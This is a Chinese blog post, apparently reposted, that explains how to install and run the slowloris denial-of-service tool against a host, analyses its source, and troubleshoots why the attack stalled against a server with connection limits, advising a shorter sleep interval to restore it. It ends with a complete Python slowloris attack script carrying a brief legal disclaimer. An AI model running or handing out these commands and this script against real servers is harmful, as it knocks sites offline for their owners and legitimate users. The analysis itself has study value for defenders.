Python3+slowloris安装使用教程

一、说明

今天提到slowloris,这东西看着很眼熟,应该是以前局方打算用来刷竞赛积分的工具。我总觉得DoS没什么意思,但记不得怎么用了所以还是研究一下。

 

二、安装

slowloris就是一个python库直接用pip安装就可以了。但要使用slowloris命令注意要么切换到当前python环境的Scripts目录,要么将该目录加入到环境变量。

pip install slowloris

 

三、使用

最简单的,直接slowloris后加ip或域名即可,如:

slowloris 192.168.1.1

但是默认是150个连接效果可能不明显,可以使用-s参数指定连接数,如1000。具体参数说明如下:

复制代码

(pytest) C:\Users\ls>slowloris -h
usage: slowloris.exe [-h] [-p PORT] [-s SOCKETS] [-v] [-ua] [-x]
                     [--proxy-host PROXY_HOST] [--proxy-port PROXY_PORT]
                     [--https]
                     [host]

Slowloris, low bandwidth stress test tool for websites

positional arguments:
  host                  Host to perform stress test on

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  Port of webserver, usually 80
  -s SOCKETS, --sockets SOCKETS
                        Number of sockets to use in the test
  -v, --verbose         Increases logging
  -ua, --randuseragents
                        Randomizes user-agents with each request
  -x, --useproxy        Use a SOCKS5 proxy for connecting
  --proxy-host PROXY_HOST
                        SOCKS5 proxy host
  --proxy-port PROXY_PORT
                        SOCKS5 proxy port
  --https               Use HTTPS for the requests

复制代码

 

四、原理探究

4.1 DoS原理说明

slowloris本质就只是一个简短的python程序,要弄清原理直接看源代码即可。

代码地址:https://github.com/gkbrk/slowloris/blob/master/slowloris.py

首先是随便请求一个不存在的url建立socket连接:

然后最关键的是如下片段:向所有建立好的socket发送一个”X-a:“的消息,保证socket不被服务器因空闲超时而关闭;有多少个socket不可用就重新创多少个socket;每15秒执行一轮。

 很多文章说slowloris原理是发一个很长的body然后半天没给服务器发完,通过这种形式占用服务器连接。但从代码上看并非如此,slowloris就只是一个tcp全连接的DoS(除非上边的代码不是所说的slowloris)

而且测试中发现,slowloris试图通过”X-a:“存活链接的愿望并没有实现,服务器在响应完之后直接把端口给关闭了。(不知是否取决于所用web服务器)

如下图是上图数据流对应的数据包,当slowloris试图向服务端发送”X-a:“时,服务端直接表示RST。

虽然存活不成功,但slowloris还是能DoS的,因为有”有多少个socket不可用就重新创多少个socket“的机制,slowloris仍能占用服务器资源。

(整个分析过程应该是没问题的,但如果是这样slowloris和tcp全连接DoS有什么区别呢,为什么很多人都夸他这不应该啊,不懂哪里出了问题)

 

4.2 slowloris能建立的连接很少浏览器却能成功访问、仿佛DoS失效问题探究

昨天同事反映说建立不了连接,自己看了一下连接还是可以建的,但是一直都是几个;这边建不了更多连接数据包发送很少很慢,但浏览器却可以访问页面,这就很神奇了。

直接下载源代码进行调试,源代码:https://github.com/gkbrk/slowloris/blob/master/slowloris.py

开始一直以为是目标网站启用了https,而该工具对ssl连接建立处理有问题。但一方面从代码上看不出有什么问题,另一方面从wireshark抓取到的数据包看,http内容是成功发送了的,即上图中的3个6个连接是成功建立了的。没理由同样的代码,一些连接ssl处理有问题一些没有问题,即问题不应该与是http还是https有关系。

继续调试发现在循环建立几个连接之后就抛出异常,抛出异常之后就break,break之后就sleep。抛出异常的原因是SSL连接建立过程中被服务器RST掉了,建立一部分连接后就不允许新建,这种现像明显是服务器端设置了连接个数限制。问题分析到这就比较明白了。

建立连接的个数很少的原因是:循环建立连接过程中,只要出现异常,就不会继续建了。

出现工具建不了新连接浏览器却可以访问的原因是:sleep时间段内工具建立的连接悉数被关闭,就腾出了连接使得浏览器能够成功访问;具体内言浏览器在工具出现except时间前后也是不能访问的,只有在sleep一段时间后(连接被腾出后)浏览器才能成功访问。

总而言之,“DoS失效”这个问题有两个成因,一是服务端做了连接个数限制,二是默认sleep 15秒太长了;前者我们做为客户端无能为力,但可通过后者缩短休眼时间来解决(新版的有--sleeptime参数可直接配置休眼时间,旧版的没有)。

本文转自https://www.cnblogs.com/lsdb/p/10443875.html

Slowloris攻击是一种利用HTTP协议的漏洞进行的拒绝服务(DoS)攻击。它通过发送大量的半连接(Half-open connections)来耗尽目标服务器的资源,从而使其无法正常响应其他合法用户的请求。 在Python中,可以使用socket库来实现Slowloris攻击。下面是一个简单的示例代码: ```python import socket import random import time def slowloris_attack(target_host, target_port, num_connections): # 创建指定数量的socket连接 sockets = [] for _ in range(num_connections): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) s.connect((target_host, target_port)) sockets.append(s) # 发送HTTP请求头部 headers = "GET / HTTP/1.1\r\n" + \ "Host: " + target_host + "\r\n" + \ "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" + \ "Accept-language: en-US,en,q=0.5\r\n" + \ "Connection: keep-alive\r\n" + \ "Content-Length: 42\r\n" # 持续发送数据 while True: for s in sockets: try: s.send(headers.encode()) except socket.error: sockets.remove(s) # 随机延迟发送时间 time.sleep(random.randint(1, 10)) # 使用示例 target_host = "example.com" target_port = 80 num_connections = 100 slowloris_attack(target_host, target_port, num_connections) ``` 请注意,上述代码仅供学习和研究目的,请勿用于非法用途。进行任何未经授权的攻击是违法行为,可能会导致严重的法律后果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值